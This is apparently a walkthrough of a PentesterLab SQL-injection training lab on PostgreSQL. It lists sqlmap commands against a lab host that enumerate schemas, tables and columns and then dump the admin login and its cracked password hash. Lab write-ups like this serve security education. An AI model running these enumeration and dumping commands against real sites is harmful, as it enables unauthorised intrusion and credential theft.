Pentesterlab from_sqli_to_shell_pg_edition_i386

Pentesterlab  from_sqli_to_shell_pg_edition_i386 sql injection solutions


Looks before hack .



sqlmap -u 192.168.145.163/cat.php?id=1 --dbs
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: PostgreSQL
[01:26:39] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes
[01:26:39] [INFO] fetching database (schema) names
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public
sqlmap -u 192.168.145.163/cat.php?id=1 -D pg_catalog --tables

[42 tables]
+-------------------------+
| pg_aggregate            |
| pg_am                   |
| pg_amop                 |
| pg_amproc               |
| pg_attrdef              |
| pg_attribute            |
| pg_auth_members         |
| pg_authid               |
| pg_cast                 |
| pg_class                |
| pg_constraint           |
| pg_conversion           |
| pg_database             |
| pg_depend               |
| pg_description          |
| pg_enum                 |
| pg_foreign_data_wrapper |
| pg_foreign_server       |
| pg_index                |
| pg_inherits             |
| pg_language             |
| pg_largeobject          |
| pg_listener             |
| pg_namespace            |
| pg_opclass              |
| pg_operator             |
| pg_opfamily             |
| pg_pltemplate           |
| pg_proc                 |
| pg_rewrite              |
| pg_shdepend             |
| pg_shdescription        |
| pg_statistic            |
| pg_tablespace           |
| pg_trigger              |
| pg_ts_config            |
| pg_ts_config_map        |
| pg_ts_dict              |
| pg_ts_parser            |
| pg_ts_template          |
| pg_type                 |
| pg_user_mapping         |
+-------------------------+

sqlmap -u 192.168.145.163/cat.php?id=1 -D public --tables
+------------+
| categories |
| pictures   |
| users      |
+------------+

sqlmap -u 192.168.145.163/cat.php?id=1 -D public -T users --column

+----------+---------+
| Column   | Type    |
+----------+---------+
| id       | int8    |
| login    | varchar |
| password | varchar |
+----------+---------+

sqlmap -u  192.168.145.163/cat.php?id=1 -D public -T users -C id,login --dump
+----+-------+
| id | login |
+----+-------+
| 1  | admin |
+----+-------+
sqlmap -u  192.168.145.163/cat.php?id=1 -D public -T users -C id,login,password --dump
+----+-------+---------------------------------------------+
| id | login | password                                    |
+----+-------+---------------------------------------------+
| 1  | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) |
+----+-------+---------------------------------------------+


 Looks after hack .









Join Me on facebook HERE